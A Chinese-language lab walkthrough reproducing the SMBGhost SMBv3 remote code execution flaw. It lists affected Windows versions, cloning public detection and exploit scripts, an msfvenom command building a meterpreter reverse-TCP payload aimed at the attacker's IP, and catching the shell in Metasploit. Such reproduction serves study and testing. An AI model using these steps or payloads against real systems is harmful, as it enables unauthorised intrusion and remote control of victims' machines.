Microsoft Server Message Block 3.1.1(SMBv3)協議在處理某些請求的方式中存在代碼執行漏洞。攻擊者可以精心構造數據包發送到SMB服務器,無需經過身份驗證,即可在目標服務器上執行任意代碼。攻擊者可通過部署一台惡意SMB v3服務器,並誘導用戶(客戶端)連接到該服務器,一旦目標用戶連接,即可在計算機上執行攻擊者自定義的惡意代碼。由於上述漏洞與WannaCry(2017年5月“永恆之藍”)漏洞較為相似,易被蠕蟲利用傳播惡意程序,可能會成為惡意軟件和攻擊者廣泛利用的漏洞
0x01 影響范圍
-
Windows 10 Version 1903 for 32-bit Systems
-
Windows 10 Version 1903 for ARM64-based Systems
-
Windows 10 Version 1903 for x64-based Systems
-
Windows 10 Version 1909 for 32-bit Systems
-
Windows 10 Version 1909 for ARM64-based Systems
-
Windows 10 Version 1909 for x64-based Systems
-
Windows Server, version 1903 (Server Core installation)
-
Windows Server, version 1909 (Server Core installation)
0x02 測試環境
靶機:cn_windows_10_consumer_editions_version_1903_x64 (關閉防火牆)
攻擊機:kali 2020.1
(PS:如果步驟沒錯卻不能攻擊成功,可以重啟Win10再嘗試)
0x03 漏洞復現
3.1 漏洞檢測
通過git 命令下載檢測漏洞的python腳本
1 git clone https://github.com/ollypwn/SMBGhost.git
利用腳本測試目標主機是否脆弱
3.2 漏洞利用
下載漏洞攻擊的腳本
1 git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
exploit.py原文件不能直接用來攻擊,需要修改其中的USER_PAYLOAD部分
利用msfvenom生成payload
1 # lhost為kali的IP,lport為監聽端口 2 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.104 lport=4444 -b '\x00' -f python
為了防止操作失誤,將exploit.py原文件文件進行備份
用vim打開exploit.py
將USER_PAYLOAD部分刪除,替換為我們之前用msfvenom生成的payload
替換之后,在最后追加一行 USER_PAYLOAD = buf ,保存並退出
在另一個窗口打開MSF開啟監聽
執行exploit.p腳本對Win10進行攻擊
再返回查看開啟了MSF的窗口,已經成功連接
在Win10上查看端口,連接存在